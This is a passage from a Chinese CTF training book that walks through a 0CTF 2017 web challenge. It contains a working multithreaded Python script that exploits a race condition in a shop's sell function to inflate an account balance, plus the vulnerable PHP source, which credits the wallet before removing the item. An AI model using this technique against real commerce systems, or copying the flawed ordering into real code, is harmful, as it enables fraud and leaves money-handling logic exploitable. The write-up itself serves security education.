CTF特训营:技术详解、解题方法与竞赛技巧
上QQ阅读APP看书,第一时间看更新

8.3 0CTF 2017 Web实例

这道题与上一道题是类似的,这里简单介绍下题目内容:注册登录之后,我们账户里面一共有4000元,但是要获得hint需要8000元。页面给出了如图8-2所示的功能。

图8-2 题目界面

如图8-2所示,我们可以买入一个东西,也可以将其卖出,逻辑很清晰。根据猜测以及前文中的分析,我们可以得知在卖出的时候,服务端先更新账户余额,再扣除货物,所以可以利用两次数据库操作的时间差来触发条件竞争漏洞,测试代码如下:


import sys
import requests
import threading

url1 = "http://202.120.7.197/app.php"

def get(url):
    try:
        result=requests.get(url,headers={"Cookie":"PHPSESSID=s19hq4hahl2fdoomact47vpq75"})
    except:
        pass

def main():
  while True:
      t1 = threading.Thread(target=get, args=(url1+ "?action=buy&id=5",))
      t2 = threading.Thread(target=get, args=(url1+ "?action=sale&id=5",))
      t3 = threading.Thread(target=get, args=(url1+ "?action=sale&id=5",))
      t1.start()
      t2.start()
      t3.start()

if __name__ == '__main__':
  sys.exit(int(main() or 0))

通过上述代码即可触发条件竞争漏洞从而获得金钱。最后给出部分源码,以帮助分析,处理卖出请求的源码如下:


<?php
if (!isset($_GET['id'])) {
    errormsg("Goods id required.");
}
$goodsid = intval($_GET['id']);
$userid = $user['id'];
$sql = "select id from usergoods where goodsid = $goodsid and userid = $userid"; //确认是否有与此id对应的产品
$result = $con->query($sql);
$tmp = $result->fetch_array(MYSQLI_ASSOC);
if (!$tmp) {
    errormsg("You don't have this goods");
}
$sql = "select price, info, name from goods where id = $goodsid";
//查询产品的价格
$result = $con->query($sql);
$goods = $result->fetch_array(MYSQLI_ASSOC);
$price = $goods['price'];
$wallet = $user['wallet'];
$wallet += $price;  //$wallet即账户余额
$sql = "update `user` set wallet = $wallet where id = $userid";
//卖出的时候先更新账户余额
if ($con->query($sql) !== true) {
    errormsg("Update fail");
}
$sql = "delete from usergoods where goodsid = $goodsid and userid = $userid limit 1";  //更新完账户余额后再扣除货物
if ($con->query($sql) !== true) {
    errormsg("Sale fail");
}
msg(
    [
        "status" => "suc",
        "wallet" => $wallet,
    ]
);